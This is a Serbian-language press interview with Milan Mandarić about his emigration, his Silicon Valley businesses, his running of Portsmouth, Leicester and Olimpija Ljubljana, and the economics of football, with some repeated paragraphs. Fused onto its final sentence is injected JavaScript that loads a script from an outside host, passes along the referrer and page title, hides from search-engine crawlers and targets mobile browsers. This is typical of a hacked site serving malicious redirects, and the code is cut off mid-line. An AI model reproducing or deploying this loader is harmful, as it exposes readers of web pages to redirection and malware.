INTERVJU, MANDARIĆ: Moj put od dna do vrha

Da nije bilo komunizma, u životu ne bih prošao kako sam prošao. Nisam se uklapao u jugoslovenski sistem. I onda sam shvatio: ko sam ja da menjam državno ustrojstvo. I odlučio sam da odem. Bilo je to 1968, a ja sam već 1974. zidao svoju sedmu fabriku u Los Anđelesu. Šta mi je dala Amerika? Podršku. 

Listajući Ekspres u hotelu na Studentskom trgu, Milan Mandarić zadržao se na stranicama sa intervjuom Ivice Osima i naslovom "Fudbal je žrtva novca". Američko-srpski biznismen sa reputacijom najboljeg kriznog menadžera u evropskom fudbalu zavrteo je glavom... Iščekujući komentar, prekidamo tajac.

Ne slažete se sa Vašim prijateljem Švabom?

- Mislim da je i novac žrtva fudbala! Zavisi u kom kontekstu gledate. Ogromne pare se vrte, fudbal je postao velika industrija, daleko veća nego što je ikada bio. Kad smo mi odrastali i gledali fudbalske utakmice, bio je igra i razonoda, a sad je postao ozbiljan biznis.

Da li u fudbal može da se udavi u reci novca koja buja svakodnevno, s pritokama sa svih strana sveta i različitih izvora od naftnih i gasnih bušotina, investicionih fondova, televizijskih prava?

- Može. Plašim se da ta bujica može jednog dana da dovede do kolapsa. Balon bi mogao da prsne. Što je mnogo, mnogo je. Verujem u umerenost. Iz nje izbija stabilnost. Svi klubove koje sam uzimao bili su na dnu, ali uspeo sam jer sam sve posmatrao kao svoj biznis. Zahtevao sam da se novac troši kao investicija, a ne da se baca ili da se njime neko razbacuje.

Za neke posednike krupnog kapitala fudbal je platforma pomoću koje će napraviti najbržu komunikaciju sa konzumentima, za druge je pitanje pomodarstva da budu viđeni u VIP ložama sa zvezdama javnog života, za treću grupu je obična zabava. Za nove vlasnike fudbalskih klubova kažete da se ponašaju kao da im je fudbal hobi.

- Ne mogu da shvatim ljude koji ulažu u fudbal jer im je to hobi. Ne može to da bude nikakva zabava. To je biznis sa jasnim i strogim pravilima. Mora klub ozbiljno da se vodi, da se uradi dobra regrutacija igrača, gradi prava infrastruktura, da su ljudi odgovorni i za troškove i za prihode. Ako to donosi uspeh, a za njega su parametri takmičarski rezultat i finansijska dobit, onda je to pravi klub.

U fudbalu je znatno veći pritisak nego u fabrici?

- Naravno, jer u fudbalu su u pitanju emocije ljudi, porodica, društva, mesta, grada, države, dok je fabrika izolovana. Ona ima svoj bilans, koji ako je negativan, na kraju možete da pokrijete ili ne. Fudbal ne trpi takvo odlaganje. Navijači ne gledaju finansijske rezultate već samo ono što se desilo tog vikenda.

Igrači dolaze i odlaze iz kluba, treneri takođe, kao i predsednici i vlasnici kluba. Navijači su tu. I njihovi dedovi i pradedovi su bili, a biće i njihova deca, unuci i praunuci. Treba da se njima dokaže da su, zapravo, oni vlasnici kluba i da su oni njegov najvitalniji i najdugoročniji deo.

 

Naš sagovornik nije imao razloga da se brine ni zbog vikenda ni završnog računa. Put do takve pozicije bio je krivudav i težak. Njegov otac Dušan odveden je u zarobljeništvo u Austriju. Na kraju rata došao je u selo Vrebac kod Gospića po sina i odveo ga u Novi Sad. Tri godine kasnije za njima je stigla i sestra Smiljana. Dušan je bio majstor svog zanata. Munjevito je prošao put od šegrta do poslovođe u mašinskoj radionici u Novom Sadu. Što oči vide, to ruke naprave. U Briselu, na Sajmu inovacija "Eureka", osvojio je zlatnu medalju za kotlić za riblju čorbu od kalaja.

- Kao klinac sam morao svake nedelje da čistim očevu radionu da bih dobio pare za bioskop ili za fudbalsku utakmicu. Od malih nogu sam učen da moram da zaradim novac da bih ga imao. Volim da kažem kako sam napravio pare na staromodan način. Zaradio sam ih.

Kao ni jabuka od stabla, u slučaju Mandarića zlatni opiljci nisu pali daleko od struga. Milan je završio mašinski fakultet. Polovinom šezdesetih otvorio je vlastitu mašinsku radionicu u Inđiji i postao kooperant fabrike "Fijat" kao proizvođač alata za proizvodnju delova za automobile. Brzo je stekao ugled velikog i pouzdanog snabdevača brojnih jugoslovenskih fabrika iz oblasti metalne industrije. Vrtoglav uspeh zvanično najboljeg malog privrednika u državi doneo je i velike probleme. Sa partijskih sastanaka odapete su strele - pamfleti da je izdajica komunizma i zagovornik kapitalizma.

- Da nije bilo komunizma, u životu ne bih prošao kako sam prošao. Nisam se uklapao u jugoslovenski sistem. I onda sam shvatio - ko sam ja da menjam državno ustrojstvo. Nisam mogao da ga promenim, a nisam pristao da sistem promeni mene. I odlučio sam da odem. Prvi pokušaj 1968. godine bila je Švajcarska. Tamo žena i ja nismo dobili papire, trebalo nam je deset godina da postanemo državljani. I vratili smo se u Beograd.

Niste se predavali.

- Naša odluka o odlasku iz Juge bila je čvrsta. Posle tri meseca dobili smo poziv od Gordaninog strica iz Amerike kome se sin ženio. Otputovali smo na svadbu u Čikago, a odatle kod mojih prijatelja u Kaliforniju. Već posle nekoliko dana rekli su mi: "Ti moraš da ostaneš." Dali su mi advokate i za četiri meseca, u rekordnom roku, dobili smo zelenu kartu. To je bilo vreme '68. i '69, a ja sam već 1974. zidao svoju sedmu fabriku u Los Anđelesu. Šta mi je dala Amerika? Podršku. Videli su da sam uspešan i svi su me gurali. I banke i potencijalne mušterije i prijatelji, svi su želeli da budem što uspešniji. To nisam mogao da doživim ovde.

Posle ugovora sa Stivom Džobsom kompanija "Lika korporejšn" bila je najveći proizvođač računarskih komponenti u SAD. Otvorio je vrata najsavremenijeg tehnološkog kompleksa kod San Franciska, u koji su stigle kompanije koje se bave proizvodnjom i uslugama iz oblasti računara, interneta i multimedije. Tu su sedišta "Adob sistemsa", "Epla", "Intela", "Orakla", "Gugla", "Veritas HP", "Jahua", "Ibeja", NASA.

- Ja i Silicijumska dolina?! Tajna uspeha je veoma jednostavna: otišao sam na pravo mesto u pravo vreme. Bio sam jedan od pionira koji su tamo stvarali IT tehnologije. I na to sam ponosan.

Da nije bilo komunizma, u životu ne bih prošao kako sam prošao. Nisam se uklapao u jugoslovenski sistem. I onda sam shvatio ko sam ja da menjam državno ustrojstvo. Ne mogu da ga promenim, a nisam pristao da sistem promeni mene. I odlučio sam da odem. Bilo je to 1968, a ja sam već 1974. zidao svoju sedmu fabriku u Los Anđelesu. Šta mi je dala Amerika? Podršku.

 

U poslednjoj kompaniji koju je osnovao, "Sanmina", čiji je naziv dobijen po ćerkama Sandri i Jasmini, Mandarić zapošljava 56.000 ljudi. Uz tradicionalne zapadne destinacije, poslovi su razvijeni u Kini i Indiji. Engleski mediji procenili su njegovo bogatstvo na dve milijarde dolara. Brzo je ostvario američki san. U njegova nostalgična jutra, međutim, stizale su slike iz detinjstva i igara za Novi Sad. Nije odoleo. Postao je vlasnik tima malog fudbala - Sent Luis storma. Ubrzo je osnovao Liku i San Hose ertkvejks. Oba tima igrala su u prvoj profesionalnoj fudbalskoj ligi SAD. Bio je jedan od pokretača lige u kojoj su igrali Pele, Franc Bekenbauer, Gerd Miler, Đorđo Kinalja, Johan Neskens, Džordž Best, Teofilo Kubiljas, Kazimir Dejna, Karlos Alberto, Vladislav Bogićević, Gordon Benks i Euzebio.

- Verovao sam da ćemo za pet godina biti najveći sport u Americi. Ipak, išlo je veoma sporo i teško. Amerika je velika sportska zemlja u kojoj je jedna stvar očigledna: oni imaju svoje izabrane sportove. Američki fudbal, bejzbol, basket i hokej su u njihovoj tradiciji i pokrivaju 95 odsto interesovanja navijačke populacije. Dakle, potencijalno svega pet odsto ostalih su soker i drugi sportovi. Priznajem, bili smo malo naivni kad smo osnovali tu profesionalnu ligu. Mislili smo da ćemo preko noći uspeti da je napravimo. Amerikanci nemaju vremena da čekaju, oni hoće odmah da naprave novi proizvod, a fudbal bez tradicije ne može da uspe. Jedna Zvezda, jedan Partizan, Olimpija, Mančester junajted imaju korene u društvu.

Ni američka javnost nije bila pripremljena?

- U Americi su još tada, pre tri-četiri decenije, novinari insistirali na pravljenju informacija koje nisu usko vezane za sport. Moj veliki prijatelj, superstar Džordž Best, bio je sjajan igrač, a novinare je ipak više zanimalo koliko je piva popio tokom noći, daleko više od toga kako je imao lepe pasove i driblinge. Uz ukorenjenost tradicionalnih sportova u narodu, to je bila druga glavna stvar zašto naš pokušaj da dovedemo fudbal u Sjedinjene Države nije doneo željeni efekat.

Nakon neuspešne epizode sa sokerom, usledilo je okretanje Evropi. U prvi mah izgledalo je to kao studijsko putovanje sa nekoliko semestara. U portfolio svoje firme prvo je upisao Standard. Lijež je postao zborno mesto čak 22 srpska fudbalera, među kojima su bili Ivica Dragutinović, Nebojša Krupniković i Dejan Petković. Posle su akcije prebačene u Šarlroa, a zatim na jug Francuske u Nicu, koja je posebno interesantna jer u njoj Mandarić nije bio stoprocentni vlasnik pošto je grad imao 30 odsto akcija.

- Takav je sistem u Francuskoj i veoma dobro funkcioniše. Grad vam da stadion i finansira omladinsku školu, "formacioni centar" u kome se uspešno školuju mladi igrači. Oni igrače ne edukuju samo za fudbal, nego za život. Intelektualno i sportski, vode kompletnu brigu o njima. A što se vlasničke strukture tiče, kad imate tih 70 odsto akcija, sa njima sve što je vezano za fudbal i glavni tim možete uspešno da vodite. Ipak, u Francuskoj nisam video sebe. Kad je tako, ja pakujem kofere.

I pravac Engleska. Bili ste, uslovno rečeno, jedan od prvih američkih biznismena koji je ušao u ostrvski fudbal. Posle Vas došli su Malkolm Glejzer u Mančester junajted, Tom Hiks i Džordž Džilet u Liverpul.

- Imao sam mnogo igrača iz Engleske u Sjedinjenim Državama. Bio sam fasciniran engleskim fudbalom i njegovom tradicijom. U stvari, i nisam bio svestan koliko je to bilo veliko dok nisam otišao tamo. Kupio sam Portsmut. Mali klub, u stečaju, pa sam mislio da samo malo vidim kako to funkcioniše, da naučim još nešto, biću dve-tri godine da im pomognem i nazad u Ameriku. A ostao sam u Engleskoj šesnaest i po godina. Portsmut je moja ljubavna afera u fudbalu! Prva i najveća, verovatno. Treba videti tu publiku, neverovatno lojalnu svom klubu. Ti ljudi znaju da poštuju kada neko napravi nešto dobro za njih. To nisam video nigde i drago mi je što sam tako nešto doživeo.

Portsmut ste preuzeli sa minusom od deset miliona evra. Kad ste posle sedam godina otišli, ostavili ste plus između 75-80 miliona evra. Šta ste prvo uradili kad ste došli na "Fraton park"?

- Totalno sam promenio infrastrukturu, kompletan menadžment, od devojke koja se javlja na telefon do zaposlenih u marketing-službi. U fudbalski sektor doveo sam novi trenerski štab, angažovao nekoliko novih ljudi, tako da smo se organizovali i dali sebi dve, tri godine da uđemo u viši rang. Posle druge godine, kad sam video da to ne ide, shvatio sam da moram da dovedem nekoga stručnjaka top klase, eksperta za igru i taktiku. I doveo sam Harija Rednapa iz Vest Hema. Trebalo nam je pet minuta da se dogovorimo i pružimo ruku jedan drugom.

Često ste isticali da su treneri takva grupa ljudi kojima "uvek fale još dva igrača". Kakav je bio Rednapov nastup?

- Veoma interesantan. Hari je rekao: "Predsedniče, moramo kockice da složimo na pravi način. To znači da dovedemo iskusne igrače." I poče čovek da nabraja: Tedi Šeringem, Stiv Ston, bili su tu i Tim Šervud i Pol Mejson i Svetoslav Todorov... Kažem: "Hari, pa to su sve stari igrači." A on će na to: "Ne brini se ti ništa." Mislio sam da nikad nećemo ući u Premijer ligu, ali mi smo te godine sa deset bodova bili ispred svih. Osvojili smo i Kup. Kad me pitaju da li se kajem zbog nečega što sam propustio da uradim u fudbalu, kažem - da. Morao sam Portsmut da ostavim u pravim rukama. To je bila dobra pouka za mene. U Lesteru je i dan-danas menadžment koji sam ja postavio.

Vratićemo se načas u Portsmut. Promenili ste fudbalski imidž grada, podignuta je statua sa Vašom figurom, dobili ste ulicu, dobili ključevi grada, a kažu da je skoro svaka kuća u Portsmutu držala uramljenu vašu fotografiju. Na ispraćaju je razvijen transparent na kome je ćirilicom bilo napisano "Hvala, Milane".

- Dok sam ja bio na čelu kluba, 38 beba dobilo je ime Milan. Šta da kažem više! To je fantastično. Sećam se, već posle treće utakmice publika peva: "Milan, there is only one Milan!" Samo je jedan Milan. I ja pitam u loži Džordža Besta da li ovako pevaju i drugim predsednicima klubova, a on odgovara: "Sigurno da pevaju, ali se služe drugim rečima."

Osećao sam se pobednički kad je Lester uzeo titulu! Tamo je i dalje sportski direktor koga sam doveo u klub, kao itreneri u fudbalskoj akademiji . Kad sam u maju išao od lobija, pa gore do kancelarija, imao sam osećaj da nikad nisam odlazio. Lesterova titula dobra je za fudbal. Ona je potvrda da nije sve u novcu.

Koliko se da videti, Portsmut je Vaše najbolje fudbalsko delo. Ali Lester, senzacionalni šampion Premijer lige za koji je verovatnoća da stigne na tron iznosila 1:5.000, izazvao je najveći medijski odjek.

- "Lisice" su napravile revolucija u fudbalu. Imali su dugove, ali snimio sam veoma dobar potencijal, prelep stadion, dobru i odanu publiku, bogatu tradiciju i istoriju. Lester je, to se manje zna, mogao i brže da napravi uspeh. Trebalo je dugo vremena da novog vlasnika iz Tajlanda (Vičaj Šrivadanapraba, prim. aut.) ubedim da ne uzima Svena Gorana Eriksona za menadžera jer će potrošiti novac a rezultati neće doći. Predlagao sam mu da vrati nazad Najdžela Pirsona, koga sam ja imao sa sobom. Ambiciozan je, zna tim, zna grad, sve zna. On će plan da ostvari sa mnogo manje sredstava. Nije me Tajlanđanin poslušao. I trebalo je godinu dana da prođe kako bi on uvideo grešku i vratio Pirsona. To mi je bilo mnogo drago. Volim kad čovek ne gleda samo vrednost kluba nego ima i fudbalske emocije.

Kupili ste Lester za milion, uložili 20 miliona, prodali za 40 miliona funti. Sadašnja njegova vrednost je 300 miliona funti. Kako ste se osećali kada je u maju ove godine Lester postao šampion?

- Pobednički! Osećao sam se kao deo te velike priče. Stiv Vels je sportski direktor i danas, a ja sam ga doveo u klub. "Moji" su direktor i treneri u fudbalskoj akademiji koja je rangu Arsenalove ili Junajtedove. Kad sam u maju išao od lobija, pa gore do kancelarija, imao sam osećaj da nikad nisam odlazio. Špalir od železničke stanice do kluba izaziva fantastičan osećaj. Lesterova titula dobra je za fudbal. Ona je potvrda da nije sve u novcu.

Nova ostrvska stanica bio je Šefild Venzdej. Da li ste još član njegovog borda?

- Pomažem, stalno smo na vezi. U finalu ovogodišnjeg plej-ofa za promociju u premijerligaša nisam bio uveren da će proći, tako je i bilo jer Hal je jači. Ali velika je stvar da su njegovi igrači osetili taj "Vembli", osamdeset hiljada navijača, to navijanje, veličinu fudbala. Nadam da će u ovoj sezoni ostvariti cilj, mada u januaru moraju da se pojačaju da bi se podigli za još jedan nivo.

Na Balkanu, nagoveštaji privatizacije imaju kodni naziv 2M - Milan Mandarić. Prva stanica u regionu, na iznenađenje mnogih, bio je Kopar.

- Niti to krijem niti mogu da sakrijem. Kod mene je prisutna nostalgija za Jugoslavijom. Da bih investirao, postoji samo jedan uslov. Moram da vidim sebe u projektu u koji ulazim. Imam viziju kako ću da stignem do cilja i kad to treba da uradim. Svih ovih godina nisam video sebe u Srbiji. Ne mogu da dođem tamo gde ne mogu da napravim posao! Ako postupim drugačije, onda ću da razočaram i sebe i sve ostale koji bi bili uključeni u to.

Kako je pao izbor na Sloveniju?

- Nisam bio u posebno čestim kontaktima sa Slovenijom niti sam nešto pomagao. Doduše, imao sam Mladena Rudonju i Robija Prosinečkog u Portsmutu. Zvali su da pomognem Kopru i pomogao sam im. Osvojili su kup i ostavio sam ih na prvom mestu. A Olimpija? Nju sam uvek pratio i ona je, tako je doživljavam, brend. Dve decenije ništa nije napravila. Očekivao sam da ću za dve-tri godine da ih vratim na tron.

Plan ispunjen akcijaški, pre roka, "zmajčeki" su šampioni Slovenije...

- Već za godinu dana. Nije normalno da se, bez obzira na to kako je i šta bilo, vrati na takav način i postane šampion. Ne bih, međutim, voleo da budemo poput meteora, uzletimo pa nestanemo. Ova godina nam je ključna, moramo da potvrdimo titulu. Sad će to biti teže jer svako juriša da nas pobedi. To je normalno, takav je fudbal. Biće tvrđe, ali ne predajem se. Moramo da osvojimo titulu!

Kad ste došli u Olimpiju, niste zatekli "ni kancelarije, ni olovku". Uložili ste četiri miliona evra i postali predsednik.

- U desetoj, amaterskoj ligi Engleske imaju više infrastrukture i prostorija nego što ih je imala Olimpija kad sam došao. Kakve kancelarije! Bili su u sobici, u nekom kokošinjcu. Nije bilo olovke, zavoja za igrače, para ni za vodu, voće, ali dobro... Bili su gde su bili, sve se to sredilo. Ličimo na klub, ličimo na profesionalnu organizaciju. Fudbal je oživeo u Ljubljani. Znate, u Portsmutu u drugoj, trećoj utakmici gradonačelnik mi kaže: "Milane, kad mi pobedimo subotom, celu narednu sedmicu produkcija grada raste." Mislio sam da on to meni kaže da bi me ohrabrio i da bi mi se zahvalio, ali posle sam shvatio da je fudbal stvarno jak motivacioni i pokretački faktor. Evo, sad se to u Ljubljani dešava. Ljudi pričaju o fudbalu i stvara se ta sportska atmosfera. I za čoveka koji vodi klub nema veće nagrade od toga da vidi omehe na licima navijača koji vole i prate svoj klub.

Bili ste "viđeni" u Hajduku iz Splita, Rijeci, Vojvodini, Borcu iz Banjaluke. Imali ste pre nekoliko godina, što je malo poznato, i jadranske susrete sa čelnim ljudima Partizana i Crvene zvezde...

- Dolazili su kad sam bio u Crnoj Gori i nudili predsedničko mesto. Najavljivali su skoru privatizaciju.

Još postoji animozitet među ljudima posle svega što se desilo. Biće potrebno učiniti mnogo hrabrih poteza na pokretanju regionalne lige. Polazište koje bi moglo malo da olakša posao trebalo bi da bude: Uključiti i klubove iz drugih država u regiji, kao što su Mađarska, Bugarska, Rumunija. Tako bi moglo bezbolnije da prođe

Više nema poziva?

- Fudbal mora da se vodi domaćinski, isto kao kad vodite ono što je vaše. Ono što je dobro u njemu da sačuvate, a ono što nije dobro da odstranite. Promenite nešto kako biste napravili priču, odnosno projekat koji ima poslovni smisao i pravac, ali koji, naravno, mora da ima fudbalski produkt. A to je onaj tim na terenu. Treba težiti da imate najbolji produkt od svih koji su na tržištu. Biti bolji od drugih - to je dobitnička formula.

Mnogi vođeni zavičajnim ili otadžbinskim razmišljanjima očekuju da ćete konačno odigrati ulogu "bogatog ujaka iz Amerike". Na tom putu, po Vašem mišljenju, stoji nekoliko prepreka: mora da bude poznato šta je čije i ko je gde, uz pravnu sigurnost ulaganja u fudbal.

- Mora da se izmeri stabilnost ulaganja. Morate da radite sa publikom da navijači shvate da je to njihov klub. Mi koji dođemo smo prolazni. Igrači dolaze i odlaze, treneri dolaze i odlaze, isto tako i predsednici i vlasnici kluba. Navijači su tu. I njihovi dedovi i pradedovi su bili, a biće i njihova deca, unuci i praunuci. Treba da se njima dokaže da su, zapravo, oni vlasnici kluba i da su oni njegov najvitalniji i najdugoročniji deo, ali u nekom pozitivnom smislu. Klubu treba da daju svoju pravu ljubav, što Englezi kažu "support", a ne da prave neke gluposti.

Ovde, izgleda, ne može...

- Sve može! Bilo je u Engleskoj daleko gore stanje, pa je gospođa Tačer rekla: "Od danas čišćenje! Izgrednici idu 30 dana u zatvor." Najveća kazna za navijača je, ipak, kad mu zabranite da dolazi na stadion kako bi gledao utakmice svog kluba. To mnogo boli. Slovenci su pre tri nedelje igrali protiv Engleza u Ljubljani. Dve hiljade Engleza pevalo je i uživalo. Milina ih je bilo gledati. Na ostrvskim stadionima, vidite, nema žica i pregrada. Klupe i stolice tačno su do linije. Prisustvovao sam u Engleskoj u nekoliko situacija kad navijač utrči u teren, visoke emocije nadvladaju razum, a redari ga odmah odvode pred sudiju, sledi kazna. I tu nema izuzetka. Zakon mora da bude jednak za sve. Uz policiju, sudski i pravosudni organi moraju da odrade svoj deo posla jer ukoliko neko u tom lancu ignoriše nerede, onda nema sreće. Takođe, i klub mora da bude dosledan. Disciplina mora da se uvede. Bez nje ne može ništa dobro da funkcioniše. Kad ste u familiji, u kući u kojoj živite mora da se zna šta dete može da ima a šta ne može, gde spava pas a gde spava mačka. Isto tako, disciplina mora da bude u firmama i kompanija. Zašto onda samo ne može u klubu i fudbalu?!

Tri dana ste proveli u Beogradu. Da li Vas je možda neko zvao iz sportskih struktura?

- Niko, što bi imalo veze sa mojim eventualnim sudelovanjem u nekim operacijama Zvezde i Partizana. Ne zovu, znaju moj stav. Nisam ja dovoljno dobar da bih sebe mogao da vidim u tom projektu.

Kad bi se ipak ovde uveo neki od evropskih vlasničkih modela, gde biste ušli - u Crvenu zvezdu, Partizan ili Vojvodinu?

- Veoma delikatno pitanje. Sva tri kluba volim, najiskrenije to kažem. I Zvezdi sam pomagao kad sam bio mlađi. Doveo sam im Piksija, Belodedića, angažovao se oko izmirenja obaveza prema Elzneru, pomogao ih finansijski. Učestvovao sam u transfer pregovorima sa Cveletom (Vladimir Cvetković, prim aut.) i Šaletom (Miladin Šakić, prim. aut.). Sa njima sam bio prijatelj i video sam da znalački i veoma ozbiljno odrađuju poslove na stvaranju velike Crvene zvezde. To se i dogodilo. Kulminacija je dosegnuta u Bariju 1991. Imao sam mnogo prijatelja u Partizanu, ali u Zvezdi više. Vojvodina je iz mog Novog Sada. To je bio klub koji sam pratio od rane mladosti. Tako da bi bila veoma teška odluka. Jedan, drugi i treći su pravi, ako bih jednog dana odlučio da uložim u srpski fudbal, to bi bio jedan od ta tri kluba.

Aleksandar Čeferin, novi predsednik UEFA, najavio je intenziviranje poslova na formiranju regionalne fudbalske lige?

- Čeferina znam dugo, cenim ga kao uspešnog ljubljanskog advokata, ali i kao dobrog čoveka i prijatelja fudbala. Njegov dolazak na čelo UEFA dobra je stvar za ceo region. A što se tiče prvog Čeferinovog obećanja, regionalna liga je veoma težak projekat. Još postoji animozitet među ljudima posle svega što se desilo. Biće potrebno učiniti mnogo veoma hrabrih poteza na pokretanju lige. Polazište koje bi moglo malo da olakša posao trebalo bi da bude: nije reč o ligi koja bi pokrivala prostor bivše Jugoslavije. Iz tog razloga treba uključiti i klubove iz drugih država u regiji, kao što su Mađarska, Bugarska, Rumunija. Kad bi se tako pomešalo, mogla bi malo bezbolnije da prođe.

Predlažete i dva ranga takmičenja. Šta bi liga značila na planu podizanja kvaliteta igre, ali i po pitanju finansija?

- Dobro bi bilo da imamo regionalnu Premijer ligu, iz koje bi se ispadalo u Čempionšip. Bilo bi to interesantno takmičenje sa finansijske tačke gledišta, a sa fudbalske bi osetno bio podignut kvalitet igara i igrača, samim tim i njihova cena. Regionalnu ligu sigurno ne bi ignorisala televizija. Publika bi u znatno većem broju dolazila na stadione. Igrao bi se kvalitetan fudbal sa velikim timovima. Zvezda, Partizan, Maribor, Olimpija, Dinamo, Rijeka, Hajduk... Veliki pablik rilejšen moraće da se napravi kako bi to prošlo. Ali proći će mnogo vode Dunavom dok se to i ne ostvari, ali moguće je!

Da li će navijači Zvezde da strepe od Olimpije ako dođe do duela?

- Nadam se da ćemo mi Zvezdu i njene navijače videti u Ljubljani pre pokretanja regionalne lige. Zašto ne u nekom evropskom kupu? Olimpija raste i biće iz sezone u sezonu sve jača. Da smo prošlog leta igrali protiv Zvezde, verujem da bismo joj zadali mnogo problema. Zvezda je uvek Zvezda. Tu nema šta da se priča, cenimo je i poštujemo, ali u fudbalu na početku utakmice svi su jednaki, nema prednosti.

Koliki je budžet potreban nekom klubu iz regiona da bi prezimio u Evropi?

- Između 20 i 30 miliona evra. Teško da će neko ko tim novcem rapolaže pobediti ili eliminisati Real Madrid, Barselonu, Mančester junajted, ali može da odigra sa njima koliko-toliko ravnopravno. Ponoviću, nije uvek u pitanju novac nego mnogo pre regrutacija, odnosno selekcija. Navešću primer Lestera. Želeli su da dovedu Džejmija Vardija, pa me zovu. Kažem im: "Gde ćete milion funti da date za igrača iz amaterske lige?" On radi do dva sata, ruča i trči na trening. Meni trener Najdžel Pirson kaže: "Ali on će da iznenadi sve!" Odmoran je, nije odigrao nijedno pravo prvenstvo, a ima neshvatljive fizičke predispozicije. Kad oni toliko navijaju za njega, a nemaju nikakve druge koristi nego da on bude tu u klubu, kažem im neka ga dovedu. I videli ste šta je napravio dečko. Mahreza su našli i doveli za 400.000 evra iz La Havra, član druge francuske lige. Isto mi je bilo malo previše. Igrača iz drugog ranga toliko da plate. Niko ga pre nije video. I bio je MVP sezone. E, tu vidite kako je moguće da sa manje novca dobijete kvalitet. Fudbal opstaje na pametnim investicijama.

Talenti u regionu dolaze u talasima.

- Talenata ima da je to neobjašnjivo. Ovde u Beogradu bio sam na kafi sa "mojim" bivšim trenerom Markom Nikolićem. On mi je pričao kako Partizan regrutuje igrače. Talenti izlaze kao na traci. Samo, tu se ne treba zaletati. Njih je potrebno usmeriti, provesti i kanalisati da bi došli na nivo koji po svom potencijalu zaslužuju. Nikad Srbija nije oskudevala u talentima. To je bašta iz koje svake godine izbijaju novi cvetovi. Svaki klub ovde ima ne jednog već po dva-tri interesantna igrača.

Da, ali ovde će igrače još malo pa prodavati iz porodilišta...

- Rani odlazak mladih igrača veliki je problem. Potrebne su stabilne finansije da ne biste morali prodavati fudbalere koji su tek skrenuli pažnju na sebe i još su daleko od pristojne cene. Tu sam kategoričan - neće iz Olimpije otići nijedan talenat zabadava. Imamo sad najboljeg mladog golmana od 17 godina. Novi Jan Oblak. I neki su odmah počeli da se gađaju milionima. Kažem im da se ovde ne radi o novcu. Taj mali mora da se izgradi, mora da ostane u Olimpiji. Tržište neće pobeći.

Robi Prosinečki bio je čudo od igrača. U Portsmutu na jednom treningu pomoćni trener žali se Rednapu: "Robi neće da ukliže." A Hari će hladno: "Budalo, šta će Robi da uklizava, daj mu loptu i lopta će sve da uradi. Vi samo idite napred, pogodiće vas on"

Bili ste, kažete, na kafi sa trenerom Partizana Markom Nikolićem, a pre pola godine ste mu uručili otkaz u Olimpiji?

- Marko je moj ljubimac i kao trener je dobar, a kao čovek fantastičan. Toliko mi je žao što mu se to desilo u Olimpiji. Morali smo da se raziđemo. Nisam imao opciju jer su počeli pritisci, u najgoroj situaciji kad je rasizam bio svetska tema, pitali su me Englezi da li sam prihvatio "balkanstvo" kad nisam smenio trenera odmah nakon rasističkog ispada. Pomerio sam odluku, ali nije bilo drugog rešenja. Kad smo seli da mu saopštim odluku, Marko je rekao: "Sve razumem, predsedniče."

Vaši ljubimci među igračima su Džordž Best i Robert Prosinečki. Koji su bili njihovi aduti u tom izboru?

- Poseduju nesvakidašnju fudbalsku maštu. Kad je Džordž Best bio kod mene u Americi, posle treninga su znali da ostanu stariji igrači i treneri, podelimo se i igramo na male golove. Besta sam uvek uzimao u svoju ekipu. Čuda je pravio s loptom. Kažem mu: "Daj, Džordž, pokaži mi neki dribling." A on širi ruke: "Bos, ni ja ne znam šta ću da uradim. Samo mi nekako dođe." Bilo mu je dato to od Boga, što narod kaže.

A Prosinečki?

- Robi je bio čudo od igrača. Kad je bio u Portsmutu, na jednom treningu pomoćni trener se žali Rednapu: "Robi neće da ukliže." A Hari će hladno: "Budalo, šta će Robi da uklizava, daj mu loptu i lopta će sve da uradi. Vi samo idite napred, pogodiće vas on." Takav je velemajstor bio.

Često ste u engleskim medijima veličali igru Nemanje Vidića.

- Nisam veličao, samo sam prenosio ono što sam video i osećao. Nemanja je otvorio vrata srpskim igračima na Ostrvu. Fantastičan je igrač i veoma karakterna ličnost. Predstavljao je Srbiju u fudbalu na impresivan način, isto kao što je Novak predstavlja u tenisu. Njih mnogo cenim i kao sportiste i kao ljude.

"Orlovi" su konačno, nakon što su izostali sa dva evropska i jednog svetskog šampionata, dobro startovali u kvalifikacijama. Šta bi odlazak na Mondijal u Rusiju značio za srpski fudbal?

- Pravda bi na taj način bila zadovoljena. Po kvalitetu i talentu, "orlovi" zaslužuju plasman, samo moraju karakterno da se pokažu. Srbiji treba nastup na Mundijalu. Znamo kako je bilo u prošlosti, tradicija postoji, imena obavezuju. Setimo se Šekija, Rajka Mitića, Vladice Kovačevića, Miladinovića, Džaje, Bjekovića, Pavlovića, Vukotića, Pižona... Bogićevića se sećam jer je bio promoter fudbala u Americi. Kakav je bio šoumen, svi su ga voleli. Od ovih mlađih Piksi. Bio je pravi igrač i pomogao je Zvezdi u pravo vreme i onda otišao u Olimpik. Stara Jugoslavija bila je sila u fudbalu i grehota bi bila da se to zaboravi. Navijam da Srbija ode u Rusiju.

Kao dete na prašnjavim šorovima doživeli ste Osmu ofanzivu, sa mirisom kolomasti iz očeve radionice u nosu proveli ste momačke dane, kao buntovnik s razlogom emigrirali ste u Ameriku, u Silicijumskoj dolini napravili ste novac i stekli jako ime u svetu biznisa. Život dostojan jednog romana ili filma. Kako biste ga nazvali?

- Englezi traže da napišem knjigu, ali neću. Volim da moje stvari ostanu moje. Ima mnogo naslova, ipak, uzeo bih ono od Frenka Sinatre "My way". Zašto to kažem? Sazreo sam veoma mlad. Bila je teška situacija, ne samo za mene nego za sve te ratne i poratne generacije. Meni je najteže padalo to što sam odrastao bez majke. Otac je samo mene iz Like poveo u Novi Sad. Posle dve-tri godine doveo je moju sestru Smiljanu. Dok bi on radio, ja sam bio na ulici. Mnogo puta sam došao kući sa razbijenom glavom posle uličnih tuča. Nije bilo lako, ali izvukao sam mnogo koristi od takvog načina odrastanja. Usmerio sam sebe na pravac poštenja i uvažavanja drugih ljudi. Isto tako, borio sam se da i ja budem poštovan zato što sam to zaradio i zaslužio. Moraš biti hrabar. Zato kažem: "Moj put"s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a 